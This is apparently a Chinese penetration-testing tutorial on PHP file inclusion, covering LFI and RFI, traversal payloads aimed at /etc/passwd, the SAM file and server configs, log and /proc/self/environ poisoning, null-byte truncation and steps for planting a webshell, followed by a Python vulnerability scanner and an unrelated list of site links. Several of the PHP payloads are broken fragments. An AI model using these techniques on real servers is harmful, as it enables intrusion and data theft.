渗透测试之文件包含[汇总]


title: 文件包含[汇总]
copyright: true
top: 0
date: 2018-08-08 09:27:45
tags: 文件包含漏洞
categories: 渗透测试
permalink:
password:
keywords:
description: 文件包含漏洞

他沿着墙壁漫步,手指扫过满是灰尘的灶台;打开冰箱,里面只剩下一纸盒过期的酸奶。窗帘很没,是白色的蕾丝纱帘和深青色的绒帘,住在这样屋子里的人当然会很在意窗帘吧?连台电视都没有,于是一个人的时候会常常坐在床上看着夕阳落下吧?夜深的时候得把窗户遮得严严实实的吧?否则……会害怕吧?

漏洞原理

文件包含就是一个文件里面包含另外一个文件,这么说吧,比如在Python中的import其他的包,PHP中inclued其他的文件,因为过程中过滤不严格导致包含漏洞的产生,这种文件调用的过程一般被称为文件包含漏洞。

由于这种灵活性,从而导致客户端可以调用一个恶意文件,传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入,造成文件包含漏洞。

主要在PHP中产生比较多,本文详细介绍PHP的包含漏洞

PHP中包含其他文件的函数有这些,在做代码审计需要用到和记住

include() //当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
include_once() //功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。
require()//只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行
require_once()//的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。
fopen()//打开指定的某个文件
readfile()//读取指定的文件

关于PHP的常见函数在之前的笔记有提及,可以回顾复习。地址

php 内核并不在意该被包含的文件是什么类型。所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行。这一特性,在实施攻击时非常有用。

漏洞利用条件:

1. include 等函数通过动态执行变量的方式引入需要包含的文件;
2. 用户能控制该动态变量。

漏洞分类:

文件包含漏洞可以分为 RFI (远程文件包含)和 LFI(本地文件包含漏洞)两种。而区分他们最简单的方法就是 php.ini 中是否开启了allow_url_include。如果开启 了我们就有可能包含远程文件。

1. 本地文件包含 LFI(Local File Include)

2. 远程文件包含 RFI(Remote File Include)(需要 php.ini 中 allow_url_include=on、allow_url_fopen = On)

在 php.ini 中,allow_url_fopen 默认一直是 On,而 allow_url_include 从 php5.2 之后就默认为 Off,一般来说远程文件(包括本地文件包含)包含比本地文件包含的危害大。

漏洞利用

本地包含漏洞案例(LFI)

新建一个phpinfo.txt,然后新建一个shell.php,写入:


访问shell.php会输出phpinfo页面内容,无论将扩展名改为什么,都将以php代码执行。如果文件不是符合php规则的(即没有写等),则通过include可以直接输出源码。

本地包含漏洞利用

读取敏感信息

比如:

http://www.xxx.com/index.php?page=/etc/passwd

Windows:

c:\boot.ini
c:\windows\systems32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\windows\php.ini             php配置文件
c:\windows\my.ini               mysql配置文件

LINUX:

/etc/passwd
/usr/local/app/apache2/conf/http.conf
/usr/local/app/php5/lib/php.ini          PHP相关设置
/etc/httpd/conf/http.conf                    apache配置文件
/etc/my.cnf                                              mysql配置文件

目录遍历

比如:

http://www.xxx.com/index.php?page=./../../test.txt

./ 当前目录 ../ 上一级目录,这样的遍历目录来读取文件

文件上传拿shell

上传一个图片木马a.jpg,内容为:

")?>

访问URL:

http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。

配合apache日志拿shell

apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:

http://www.xxx.com/

则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。默认情况下,日志保存路径在 /var/log/apache2/。

利用条件:需要知道服务器日志的存储路径,且日志文件可读。

提交如下请求,将 payload 插入日志

渗透测试之文件包含[汇总]_第1张图片

可以尝试利用 UA 插入 payload 到日志文件

渗透测试之文件包含[汇总]_第2张图片

默认日志地址:

apache+Linux 日志默认路径

/etc/httpd/logs/access_log

或者

/var/log/httpd/access log

apache+win2003 日志默认路径

D:/xampp/apache/logs/access.log

D:/xampp/apache/logs/error.log

IIS6.0+win2003 默认日志文件

C:/WINDOWS/system32/Logfiles

IIS7.0+win2003 默认日志文件

%SystemDrive%/inetpub/logs/LogFiles

nginx 日志文件在用户安装目录的 logs 目录下

如安装目录为 /usr/local/nginx,则日志目录就是在

/usr/local/nginx/logs

也可通过其配置文件 Nginx.conf,获取到日志的存在路径

/opt/nginx/logs/access.log

web 中间件默认配置地址

apache+linux 默认配置文件

/etc/httpd/conf/httpd.conf

或者

index.php?page=/etc/init.d/httpd

IIS6.0+win2003 配置文件

C:/Windows/system32/inetsrv/metabase.xml

IIS7.0+WIN 配置文件

C:/Windows/System32/inetsrv/config/application/Host.config

利用/proc/self/environ进行包含

利用条件:

1. php 以 cgi 方式运行,这样 environ 才会保持 UA 头。
2. environ 文件存储位置已知,且 environ 文件可读。

proc/self/environ 中会保存 user-agent 头。如果在 user-agent 中插入 php 代码,则 php 代码会被写入到 environ 中。之后再包含它,即可

比如:

http://www.test.com/view.php?page=../../../../proc/self/environ
路径不知道试一试
http://www.test.com/view.php?page=../../../../../../../proc/self/environ

选择 User-Agent 写代码如下:


这是web进程运行时的环境变量,其中有些参数是可以被用户控制的,最常见做法就是在User-Agent中插入一句话。

截断包含

有些开发者为了防止本地包含漏洞,会编写一下代码:


(一)00截断包含

新建1.jpg:

")?>

这样的话比如上传一个1.jpg图片马,则访问

http://www.xxx.com/1.jpg

其实这个时候访问的是1.jgp.php,因为没有这个文件所以报错。这是,可以尝试访问

http://www.xxx.com/1.jpg%00

新建a.txt:

 

上传我们的 2.txt 文件,请求

http://localhost/test/1.php?a=2.txt%00

即可执行 2.txt 中 phpinfo 的代码

(二)使用长目录截断

?page=././././././././././././././etc/passwd
或者
?page=etc/passwd
或者
?page=../a/etc/passwd/../a/etc/passwd/../a/etc/passwd
或者
?page=../../../../../../../../../var/www/%00

服务器端常常会对于 …/ 等做一些过滤,可以用一些编码来进行绕过。下面这些总结来自《白帽子讲 Web 安全》。

利用 url 编码:

../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/

..\ -》 %2e%2e%5c -》 ..%5c -》 %2e%2e\

二次编码:

../ -》 %252e%252e%252f

..\ -》 %252e%252e%255c

在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。

远程包含漏洞案例

新建php.txt:


新建index.php:


随后访问

http://www.xxxx.com/page=http://www.xxxx.com/php.txt执行结果将输出hello world。

远程包含漏洞利用

远程包含shell

新建test.txt文件,保存在你自己远程服务器上,内容如下:

")?>

如果目标网站存在远程包含漏洞,则可以通过访问:

http://www.xxx1.com/index.php?page=http://www.你的域名.com/test.txt则会在服务器根目录下生产一个shell.php内容为:

	

利用php协议进行包含

漏洞应用条件:

data:  php5.2以后版本
php://input  需要开启allow_url_include

poc:

http://www.xxx.com/index.php?file=data:text/plain,%00

扫描器代码检测

原地址

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 脚本语言本地/远程,文件包含/读取, 文件名截断漏洞FUZZ工具
import re
import urlparse
import urllib
import os

# 此函数会在爬虫扫描过程中调用,为任务派遣函数
def assign(service, arg):
    # 只接收链接
    if service != "www": 
        return
    # 分析链接,看有没有查询参数
    r = urlparse.urlparse(arg)
    pairs = urlparse.parse_qsl(r.query)
    # 如果参数过多,超过6个,效率起见,放弃此链接
    if urlparse.urlparse(arg).query.find('=') == -1 or len(pairs) > 6:
        return
    # 返回True表始接收任务,arg是要调度器传给audit函数的参数
    return True, arg

# 远程文件包含的FUZZ函数
def check_rfi(action, query, k, v, normal_res):
    # 要判断两次,第一次,传全参数列表进去,第二次,只FUZZ一个参数,其它参数不传
    for i in range(2):
        # 网上总结的一组经典列表,以(路径,签名)做列表
        paths = [
                ('../../../../../../../../../../etc/passwd', '/bin/(bash|sh)[^\r\n<>]*[\r\n]'),
                ('../../../../../../../../../../etc/passwd%00', '/bin/(bash|sh)[^\r\n<>]*[\r\n]'),
                ('http://cirt.net/rfiinc.txt?', 'phpinfo'),
                ('c:/boot.ini', '\[boot loader\][^\r\n<>]*[\r\n]'),
                ]
        for inj, fingerprint in paths:
            qsl = []
            # 第一轮fuzz,完整提交全部参数
            if i == 0:
                for key, val in query:
                    # 如果参数key为要fuzz的,替换为路径
                    val = inj if (key==k) else val
                    qsl.append((key, val))
            else:
                # 第二轮fuzz, 只提交要fuzz的参数,其它不提交
                qsl.append((k, inj))

            # 经合成URL
            qs = urllib.urlencode(qsl)
            url = '%s?%s' % (action, qs)
            # 发送请求
            code, head, res, _, _ = curl.curl(url)
            debug('[%03d] %s', code, url)
            # 开始查询是否包含签名内容, 如<?php <%
            # 如果指定的签名在fuzz过程中找到,而没有在正常的网页里找到,说明漏洞存在
            if re.search(fingerprint, res) and (not re.search(fingerprint, normal_res)):
                # 记录一个报告
                security_warning(url)
                # 中断fuzz
                return True

# 本地文件包含的fuzz函数
def check_lfi(action, query, k, v, files, suffix, flags):
    filter = {}
    # 默认情况下,只测试两轮,像远程文件包含一样
    loop = 2
    # 如果参数有文件后缀,测试三轮,第三轮测试文件后缀截断漏洞(附加%00)
    if suffix:
        loop = 3
    # 开始fuzz
    for i in range(loop):
        for file in files:
            # 如果是第三轮,循环以0开头(0,1,2), 在后缀后加上\x00测试是否有文件名截断漏洞
            if i == 2:
                file += '\x00.' + suffix
            # 构造查询结构
            qsl = []
            # 第一轮,提交全部参数
            if i == 0:
                for key, val in query:
                    val = file if (key==k) else val
                    qsl.append((key, val))
            # 第二轮,只提交FUZZ的参数
            else:
                # next loop only test one argments
                qsl.append((k, file))

            # 构造URL
            qs = urllib.urlencode(qsl)
            url = '%s?%s' % (action, qs)
            # 这里加了一个过滤器,防止产生重复的URL
            if url not in filter:
                filter[url] = True
                # 请求URL
                code, head, res, _, new_url = curl.curl(url)
                debug('[%03d] %s', code, url)
                # 开始查询是否包含签名内容, 如<?php <%
                for w in flags:
                    if re.search(w, res):
                        # 发现漏洞,上传报告,并返回
                        security_warning(url)
                        return True

def audit(arg):
    # arg为assign传过来的链接,为一个带参数查询的URL
    url = arg
    r = urlparse.urlparse(url)
    # 取出?号前面的地址
    action = urlparse.urlunsplit((r.scheme, r.netloc, r.path, '', ''))
    # 取出参数的key
    pairs = urlparse.parse_qsl(r.query)
    # 以下参数,为.NET的内置参数,自动跳过,不判断
    reject_key = ['__VIEWSTATE', 'IbtnEnter.x', 'IbtnEnter.y']

    # 请求action, 保存一个返回内容的快照到normal_res
    code, head, normal_res, _, _ = curl.curl(action)

    # 尝试每个参数是否有远程文件包含漏洞
    for k, v in pairs:
        # 跳过指定的内置参数
        if k in reject_key:
            continue
        # 如果发现参数有漏洞,返回
        if check_rfi(action, pairs, k, v, normal_res):
            return

    # 尝试每个参数是否有本地文件包含读取漏洞, 以当前文件名做为包含文件,传递
    # 获取当前URL的快照,搜索内容来获取有效的用来判断是否利用成功的签名,如:<?php, <%
    code, head, res, _, _ = curl.curl(url)
    flags = []
    for w in ['<\?[\r\n\s=]', '<\?php[\r\n\s=]', '<%[\r\n\s@]']:
        if not re.search(w, res):
            flags.append(w)
    # 没有找到可以使用的签名,返回
    if not flags:
        return

    paths = ['.', '..', '../..', '../../..', '../../../..', '../../../../..']
    files = []
    # 获取URL的文件名
    filename = r.path.split('/')[-1]

    # 保存到要fuzz的文件列表里
    files.append(filename)

    # 保存一组递归目录列表,如./a.php, ../a.php, ../../a.php
    for path in paths:
        files.append(path + '/' + filename)

    # 保存一组递归的完整文件列表如, /../news/show.php, /../../news/show.php
    for path in paths:
        files.append(path + r.path)

    # 开始遍历参数进行fuzz
    for k, v in pairs:
        # 跳过内置的参数
        if k in reject_key:
            continue
        # 如果参数值里面找到类似a.jpg这样文件名特征, 获取文件后缀到suffix里面去
        suffix = ''
        if v.find('.') != -1:
            suffix = v.split('.')[-1]
        # 开始fuzz本地文件包含漏洞
        if check_lfi(action, pairs, k, v, set(files), suffix, flags):
            return

# 测试代码开始
if __name__ == '__main__':
    # 调入SDK模拟环境
    from dummy import *
    # 模拟调试器传入参数,测试审计函数
    audit(assign('www', 'http://demo.webravor.com/kj.jsp?url=lionsky.txt')[1])
</code></pre> 
  <p>欢迎关注公众号:【安全研发】获取更多相关工具,课程,资料分享哦~<br> <a href="http://img.e-com-net.com/image/info8/865d5e8fbf4947c79654ccbac201821f.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/865d5e8fbf4947c79654ccbac201821f.jpg" alt="渗透测试之文件包含[汇总]_第3张图片" width="258" height="258" style="border:1px solid black;"></a></p> 
 </div> 
</div>
                            </div>
                        </div>
                    </div>
                    <!--PC和WAP自适应版-->
                    <div id="SOHUCS" sid="1396604585732263936"></div>
                    <script type="text/javascript" src="/views/front/js/chanyan.js"></script>
                    <!-- 文章页-底部 动态广告位 -->
                    <div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!-- 文章页-右侧1 动态广告位 -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_1"> </div>
                        </div>
                        <!-- 文章页-右侧2 动态广告位 -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_2"></div>
                        </div>
                        <!-- 文章页-右侧3 动态广告位 -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_3"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="container">
        <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(安全工具,渗透演练,渗透测试,文件包含)</h4>
        <div id="paradigm-article-related">
            <div class="recommend-post mb30">
                <ul class="widget-links">
                    <li><a href="/article/1950196771770658816.htm"
                           title="我保证,这款泡泡洁面一定适合你!" target="_blank">我保证,这款泡泡洁面一定适合你!</a>
                        <span class="text-muted">豆子_58e0</span>

                        <div>市面上的洁面有很多种,洗面奶的品种又有很多,比如:普通型、泡沫型、磨砂型等等,其中泡沫洗面奶是很受大家欢迎的一种,主要是因为泡沫洁面配方中的表面活性剂有湿润、渗透和乳化的作用,去除皮肤上污垢,对洁面有非常好的效果。在现有的泡沫丰厚的洁面产品中,主要有两种:1,泡沫洁面:主要是从瓶子里挤出就是泡沫状的,比如一些慕斯洁面。这一类洁面往往主打温和,更适合干皮和敏感皮。混油皮和油皮可能会觉得清洁力度不够。</div>
                    </li>
                    <li><a href="/article/1950182125605023744.htm"
                           title="每日一省(49)" target="_blank">每日一省(49)</a>
                        <span class="text-muted">专气致柔baby</span>

                        <div>背诵内容:用生气掩盖了无能,用愤怒掩盖了恐惧,用焦虑掩盖了纠结。你向世界释放了什么,你就会收获什么,生命的品质取决于行为的反作用力(如:我爱你,我爱你,我爱你,弹回来也会是我爱你,我爱你,我爱你)这几天一直在体会这段话,学习传统文化的时候,老师们也一直在强调行为的反作用力。从今天开始我要启用改译的力量,感恩纪琼院长给到的心理学生活化的实操流程,感恩各种学习思想的慢慢渗透,让我有了不断学习提高的动力</div>
                    </li>
                    <li><a href="/article/1950096596897165312.htm"
                           title="疾,君视之,东首,加朝服,拖绅。" target="_blank">疾,君视之,东首,加朝服,拖绅。</a>
                        <span class="text-muted">宛立冬</span>

                        <div>孔子病了,君主来探望,他便头朝东而卧,把上朝的礼服盖在身上,拖着朝服的大带子。疾,君视之:病了也不忘注意形象的孔子人吃五谷杂粮,哪有不生病的时候呢。大多数人都希望生病时能安安稳稳地休息,形象什么的就再说吧。孔子可不能这样,尤其是面对国君来探病的场合,他也一定要用自己的方式来表达对君主的尊敬。孔子生病时也不忘注意形象,这说明“礼”与“忠”已经渗透至骨血,成了他的日常。</div>
                    </li>
                    <li><a href="/article/1950046356030681088.htm"
                           title="2025年海外短剧CPS分销系统开发:技术架构与商业化实战指南" target="_blank">2025年海外短剧CPS分销系统开发:技术架构与商业化实战指南</a>
                        <span class="text-muted"></span>

                        <div>一、市场爆发:万亿级赛道的结构性机遇2025年海外短剧市场迎来指数级增长,SensorTower数据显示,仅第一季度应用内购收入就达7亿美元,全年预计突破45亿美元。美国贡献49%收入,东南亚以9%增速成为新兴增长极。这种爆发式增长源于三大驱动力:用户行为变迁:全球短视频用户突破20亿,微短剧月活用户仅8000万,渗透率不足10%,存在11倍增长空间技术赋能创新:AI生成内容(AIGC)降低制作成</div>
                    </li>
                    <li><a href="/article/1950042324155297792.htm"
                           title="网络安全第14集" target="_blank">网络安全第14集</a>
                        <span class="text-muted">不灭锦鲤</span>
<a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a>
                        <div>前言:小迪安全14集,这集重点内容:0、什么是js渗透测试?在javascript中也存在变量和函数,存在可控变量和函数就有可能存在在漏洞,js开发的web应用和php、java开发的区别是,js能看得到的源代码,php看不到,但是风险就是未授权访问、配置信息泄露(加密算法、key秘钥等),源代码看得到,存在更多的url泄露,从而可能会出现未授权访问,从url,前提:web应用可以采用前端语言或后</div>
                    </li>
                    <li><a href="/article/1950037677881487360.htm"
                           title="欧国联:西班牙VS瑞士,此番迎战瑞士必将剑指三分?" target="_blank">欧国联:西班牙VS瑞士,此番迎战瑞士必将剑指三分?</a>
                        <span class="text-muted">好运彩吧</span>

                        <div>西班牙近4场欧洲正式赛事取得3胜1和的不败战绩,期间盘路走势更加全线飘红,是役面对今届欧国联分组赛非和即负的瑞士,西班牙可谓胜利在望。西班牙排出了一套相对新颖的阵容,西班牙在9月份的两场欧国联赛事中,西班牙绝平德国后斗志昂扬,随后主场以4-0的比分大胜乌克兰,目前以1胜1平的战绩暂居该组第一。周中与葡萄牙进行友谊赛之后,队伍的战术演练初见成效,此番迎战瑞士必将剑指三分。欧国联小组赛2轮战罢,瑞士先</div>
                    </li>
                    <li><a href="/article/1950023029220241408.htm"
                           title="代码审计与web安全选择题1" target="_blank">代码审计与web安全选择题1</a>
                        <span class="text-muted">m0_74726609</span>
<a class="tag" taget="_blank" href="/search/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/1.htm">代码审计</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a>
                        <div>软件供应链安全的基础是()A.完善的需求分析B.源代码安全C.渗透测试D.软件测试参考答案:B保证源代码安全的主要措施包括()A.开发工具和环境的安全B.代码安全C.渗透测试D.代码审计E.软件的说明文档完整参考答案:ABCD通过()技术,实现源代码在终端、网络及服务器存储场景下全周期的安全管理,防止内部代码有意、无意泄露、扩散出去。A.数据加B.数据脱C.数据安全隔离D.防火墙参考答案:C软件供</div>
                    </li>
                    <li><a href="/article/1950007898507636736.htm"
                           title="淘宝优惠券领取:如何轻松获取网购福利?" target="_blank">淘宝优惠券领取:如何轻松获取网购福利?</a>
                        <span class="text-muted">氧惠爱高省</span>

                        <div>随着互联网的深入发展,网络购物已经渗透到我们日常生活的方方面面。淘宝作为中国最大的电商平台之一,不仅提供了丰富的商品选择,还时常通过各种优惠活动来吸引消费者。其中,淘宝优惠券作为一种常见的促销手段,受到广大消费者的喜爱。然而,如何轻松领取淘宝优惠券,成为了许多网购者关心的问题。首先,我们需要了解淘宝优惠券的发放渠道。淘宝官方渠道是获取优惠券的最直接途径。淘宝会定期在其官方网站、APP以及社交媒体平</div>
                    </li>
                    <li><a href="/article/1949965072612782080.htm"
                           title="《触不可及》真正的尊重不是同情,而是平等" target="_blank">《触不可及》真正的尊重不是同情,而是平等</a>
                        <span class="text-muted">一部电影</span>

                        <div>现在的社会,流行着一种圈层文化,就连交友也是。我们的出身阶层局限了我们的社交,这个社交圈就是个圈层。也就是说我们只能在这个圈子里打转,难以突破,因为富人只和富人玩,穷人很难触及他们的领域,穷人只能和穷人玩。真的是这样吗?难道友谊也分三六九等,还外加歧视链?如果这样会不会太可悲了些?就没有特例吗?当然有特例,我始终认为友谊不分贫穷和富有,种族和肤色,友谊是是相互的理解与渗透,也正是所谓的知音。这是一</div>
                    </li>
                    <li><a href="/article/1949815341693595648.htm"
                           title="零信任架构落地:Java + SPIFFE 微服务身份联邦体系" target="_blank">零信任架构落地:Java + SPIFFE 微服务身份联邦体系</a>
                        <span class="text-muted">司铭鸿</span>
<a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%BE%AE%E6%9C%8D%E5%8A%A1/1.htm">微服务</a><a class="tag" taget="_blank" href="/search/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/1.htm">机器学习</a><a class="tag" taget="_blank" href="/search/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0/1.htm">线性代数</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a>
                        <div>“信任是最昂贵的漏洞。”——2017年Equifax数据泄露后安全专家总结开篇:当城堡护城河干涸时2019年,某跨国金融集团遭遇“服务间信任链断裂”攻击。攻击者利用Kubernetes服务账户令牌泄露,伪装成合法服务横向渗透,窃取核心交易数据。其传统边界防火墙与VPN如同中世纪的护城河,对内部流量毫无防御能力。这场灾难性事件点燃了他们落地零信任架构(ZeroTrustArchitecture,ZT</div>
                    </li>
                    <li><a href="/article/1949733900595032064.htm"
                           title="网站渗透测试完全手册:零基础到进阶,系统学习网络安全攻防" target="_blank">网站渗透测试完全手册:零基础到进阶,系统学习网络安全攻防</a>
                        <span class="text-muted"></span>

                        <div>渗透测试介绍渗透测试就是模拟攻击者入侵系统,对系统进行一步步地渗透,发现系统地脆弱环节和隐藏风险。最后形成测试报告提供给系统所有者。系统所有者可根据该测试报告对系统进行加固,提升系统的安全性,防止真正的攻击者入侵。渗透测试的前提一定是得经过系统所有者的授权!未经过授权的渗透测试,就是违法行为!渗透测试意义信息安全评估的重要方法,有利于掌握系统整体安全强度。模拟黑客攻击和思维,评估计算机潜在风险。发</div>
                    </li>
                    <li><a href="/article/1949717980468277248.htm"
                           title="2023-06-16" target="_blank">2023-06-16</a>
                        <span class="text-muted">清凉壹夏</span>

                        <div>哪些人适合考视力保健师证书?行业前景视力保健师顾名思义是指从事视力保健领域的专业人员。是指使用相关视光器械及中医技能手法等,改善视力,提升被服务者视功能完美程度,改善被服务者的视力,控制眼部疾病的工作者。行业前景:据统计,我国5岁以上人口的近视率达50%以上,有近7亿人口近视,目前这个数字还在不断上涨。随着电子产品的飞速发展,种类繁多,在使用上渗透到了生产生活的方方面面,许多人都陷入其中不能自拔。</div>
                    </li>
                    <li><a href="/article/1949674672807276544.htm"
                           title="公司招的娱乐直播好做吗,讲讲我的体验" target="_blank">公司招的娱乐直播好做吗,讲讲我的体验</a>
                        <span class="text-muted">糖葫芦不甜</span>

                        <div>在当今这个数字化飞速发展的时代,娱乐直播作为一股新兴的力量,正逐渐渗透到人们生活的每一个角落。它不仅为观众带来了全新的娱乐体验,也为众多有志之士提供了展示自我、实现梦想的舞台。免费加入,一对一指导扶持↓那么,对于公司招聘的娱乐主播而言,这份工作究竟好不好做呢?作为一名曾亲身涉足此领域的从业者,我想通过我的个人体验,为大家揭开娱乐直播行业的神秘面纱。刚踏入娱乐直播行业时,我怀揣着对舞台的无限憧憬和对</div>
                    </li>
                    <li><a href="/article/1949672898075619328.htm"
                           title="感受日志152 背诵" target="_blank">感受日志152 背诵</a>
                        <span class="text-muted">咏菲</span>

                        <div>linco今天的英语作业是背诵英语课文,内容之前已经熟读,但让linco背诵还是需要一点点技巧,我和他说我要和他一起演练一个英文喜剧,然后启发他一点一点让他进入角色,一句句喂食对话,终于把课文背诵,录像发作业。总结linco三个亮点:1、今天背诵课文和学习英文句式,大概一个小时的时间,他坚持下来,虽然中间有要逃跑的想法,但都被我生拉硬拽的扯回学习现场,为linco的坚持点赞。2、今天linco上网</div>
                    </li>
                    <li><a href="/article/1949661643176734720.htm"
                           title="【网络安全】Metasploit 生成的 Shellcode 的导入函数解析以及执行流程分析(1)" target="_blank">【网络安全】Metasploit 生成的 Shellcode 的导入函数解析以及执行流程分析(1)</a>
                        <span class="text-muted">IT老涵</span>
<a class="tag" taget="_blank" href="/search/%E7%A8%8B%E5%BA%8F%E5%91%98/1.htm">程序员</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/1.htm">信息安全</a><a class="tag" taget="_blank" href="/search/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/1.htm">计算机网络</a>
                        <div>2021年4月,研究人员深入分析了CobaltStrike渗透测试技术,以及它的一些签名规避技术是如何在检测技术下失效的。在本文中,我们将深入讨论Metasploit,这是一个可以与CobaltStrike互操作的常用框架。在本文中,我们将讨论以下主题:shellcode的导入解析——Metasploitshellcode如何定位来自其他DLL的函数,以及我们如何预先计算这些值来解析来自其他有效载</div>
                    </li>
                    <li><a href="/article/1949626349962457088.htm"
                           title="MySql命名、设计及使用规范" target="_blank">MySql命名、设计及使用规范</a>
                        <span class="text-muted">在路上liu</span>
<a class="tag" taget="_blank" href="/search/MySql/1.htm">MySql</a><a class="tag" taget="_blank" href="/search/MySql%E5%91%BD%E5%90%8D/1.htm">MySql命名</a><a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E5%8F%8A%E4%BD%BF%E7%94%A8%E8%A7%84%E8%8C%83/1.htm">设计及使用规范</a>
                        <div>MySql命名、设计及使用规范《MySQL命名、设计及使用规范》数据库环境dev:开发环境,开发可读写,可修改表结构。开发人员可以修改表结构,可以随意修改其中的数据但是需要保证不影响其他开发同事。qa:测试环境,开发可读写,开发人员可以通过工具修改表结构。sim:模拟环境,开发可读写,发起上线请求时,会先在这个环境上进行预执行,这个环境也可供部署上线演练或压力测试使用。real:生产数据库从库(准</div>
                    </li>
                    <li><a href="/article/1949614502215479296.htm"
                           title="《奔跑吧Linux内核(第二版)》第四章笔记" target="_blank">《奔跑吧Linux内核(第二版)》第四章笔记</a>
                        <span class="text-muted">525小白菜</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                        <div>内核配置内核配置工具常见的有:makeconfigmakeoldconfigmakemenuconfig内核配置工具最终会在Linux内核源码的根目录下生成一个隐藏文件——.config文件,这个文件包含了内核所有配置信息。.config文件的每个配置选项都以“CONFIG”开头,后面的y表示内核会把这个特性编译进内核,m表示这个特性会被编译成内核模块。如果不需要编译到内核中,就要在前面用“#”进</div>
                    </li>
                    <li><a href="/article/1949606298576285696.htm"
                           title="【奔跑吧!Linux 内核(第二版)】第4章:内核编译和调试" target="_blank">【奔跑吧!Linux 内核(第二版)】第4章:内核编译和调试</a>
                        <span class="text-muted"></span>

                        <div>笨叔陈悦.奔跑吧Linux内核(第2版)[M].北京:人民邮电出版社,2020.文章目录内核配置.config配置文件内核配置.config配置文件makeconfig、makeoldconfig、makemenuconfig等配置工具最终会在Linux内核源代码的根目录下生成一个隐藏文件——.config文件,这个文件包含了内核的所有配置信息。.config文件的每个配置选项都以“CONFIG_</div>
                    </li>
                    <li><a href="/article/1949603558525562880.htm"
                           title="<6.23日腾讯会议线上演讲训练总结复盘二:我的收获与提高篇>" target="_blank"><6.23日腾讯会议线上演讲训练总结复盘二:我的收获与提高篇></a>
                        <span class="text-muted">帅比潘安</span>

                        <div>我的收获:01.第一次主持演讲,全程将近三个小时,感觉很新鲜,很激动,挑战很大,收获很大。刚开始的时候确实有些紧张,但当我放开喉咙大声说话、全情投入之后,慢慢就进入了感觉,控场的节奏感也就慢慢上来了。这要得益于自己的前期准备,尤其是跟李丽班长和一馨老师的沟通,感谢他们的邀请和指导。还是那句话,“最大的失败是不参与,只要参与了,不是学到,就是得到。”02.今天参加演练的每一位同学都很优秀,我能通过旁</div>
                    </li>
                    <li><a href="/article/1949596847144235008.htm"
                           title="W5500模块-服务端模式例程" target="_blank">W5500模块-服务端模式例程</a>
                        <span class="text-muted">韩微戈</span>

                        <div>W5500模块-服务端模式例程去发现同类优质开源项目:https://gitcode.com/此压缩文件包含基于W5500网络芯片的开发代码资料。这些代码例程专注于服务端模式的应用,能够帮助开发者快速上手和实现基于W5500的网络通讯功能。资料中涵盖了从基础配置到高级应用的各种示例,适用于需要进行网络功能开发的工程师和爱好者。去发现同类优质开源项目:https://gitcode.com/</div>
                    </li>
                    <li><a href="/article/1949556975863918592.htm"
                           title="古代法律发展史" target="_blank">古代法律发展史</a>
                        <span class="text-muted">文中子说</span>

                        <div>今天聊一聊中国不同朝代的律法。古代法律最基本的一个点就是,有律依律,无律依例(前人处理的例子)。夏、商、周的法律是奴隶制法律,以习惯法为主,礼刑并用。它体现了王权与族权的统一,渗透了神权思想。夏夏是中国第一个奴隶制国家,其法律总称为“禹刑”。中国古代的刑与法含义相同,刑罚的出现,标志着夏代法律制度已经产生。商“汤刑”是商代法律的总称。《尚书·盘庚》记载:“以常旧服,正法度”。商代已具有成文法律,在</div>
                    </li>
                    <li><a href="/article/1949536482926587904.htm"
